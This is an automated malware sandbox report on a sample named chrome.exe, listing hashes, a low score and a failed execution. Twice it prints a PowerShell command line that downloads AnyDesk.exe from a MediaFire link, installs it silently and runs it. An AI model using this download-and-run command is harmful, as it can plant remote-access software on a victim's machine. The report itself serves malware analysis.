Resubmissions

17-08-2023 10:06

230817-l5bmdaad8z 3

17-08-2023 10:06

230817-l43z8sad8y 3

Analysis

  • max time kernel
    0s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    17-08-2023 10:06

Errors

Reason
platform exec: image=C:\Users\Admin\AppData\Local\Temp\chrome.exe command=C:\Users\Admin\AppData\Local\Temp\chrome.exe $installerUrl = 'https://download1640.mediafire.com/ac9ji56yq4tgxA9s7lk07OX4OE_901KNkJlZ-XOci728SinyoRpqGY3OMVqby6mAr7TOLo5HS9dahZsGqprBA-L67pAU1sY5BstSm2UYt3SwmqPzcGD_89-61h0Grd_PEbrllvJecSrNa0KNuWSVhBTXd7vAKhhsEih5Uobn_pvifiKO/brag9bhqm2jouqt/AnyDesk.exe' $downloadPath = 'C:\Temp\AnyDesk.exe' Write-Host "Downloading the installer..." Invoke-WebRequest -Uri $installerUrl -OutFile $downloadPath if (Test-Path $downloadPath) { Write-Host "Installer downloaded successfully." Write-Host "Installing the program..." Start-Process -FilePath $downloadPath -ArgumentList '/S' -Wait Write-Host "Program has been installed." } else { Write-Host "Failed to download the installer." } # Introducing a 20-second wait Start-Sleep -Seconds 20 # Run the installed program without additional arguments Start-Process -FilePath "C:\Temp\AnyDesk.exe" -WorkingDirectory "C:\Temp" wdir=C:\Users\Admin\AppData\Local\Temp Payload error: The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.

General

  • Target

    chrome.exe

  • Size

    2.3MB

  • MD5

    abfdc37b7132e93fd74941327ec7edae

  • SHA1

    b6183995491b24009592151ff681d290faa71e60

  • SHA256

    55b9e0846ced0ecf4addd32f4d0d7f8071708505f849f1a95e8a65fef9af5520

  • SHA512

    9f08818be27dea584ee3de22eb0f82551e02fa1a2b925471ed6acd8c40b6938a1833053e7fa228ecad841c25cf28b21dd17866677e07e651b793ec9c757f0550

  • SSDEEP

    49152:9dA39XwcAiuD0KwbX9c6pW53NFU7UryOfdFOLm:iowT9csOfG

Score
1/10

Malware Config

Signatures

Processes

  • C:\Users\Admin\AppData\Local\Temp\chrome.exe
    C:\Users\Admin\AppData\Local\Temp\chrome.exe $installerUrl = 'https://download1640.mediafire.com/ac9ji56yq4tgxA9s7lk07OX4OE_901KNkJlZ-XOci728SinyoRpqGY3OMVqby6mAr7TOLo5HS9dahZsGqprBA-L67pAU1sY5BstSm2UYt3SwmqPzcGD_89-61h0Grd_PEbrllvJecSrNa0KNuWSVhBTXd7vAKhhsEih5Uobn_pvifiKO/brag9bhqm2jouqt/AnyDesk.exe' $downloadPath = 'C:\Temp\AnyDesk.exe' Write-Host "Downloading the installer..." Invoke-WebRequest -Uri $installerUrl -OutFile $downloadPath if (Test-Path $downloadPath) { Write-Host "Installer downloaded successfully." Write-Host "Installing the program..." Start-Process -FilePath $downloadPath -ArgumentList '/S' -Wait Write-Host "Program has been installed." } else { Write-Host "Failed to download the installer." } # Introducing a 20-second wait Start-Sleep -Seconds 20 # Run the installed program without additional arguments Start-Process -FilePath "C:\Temp\AnyDesk.exe" -WorkingDirectory "C:\Temp"
    1⤵
      PID:2536

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads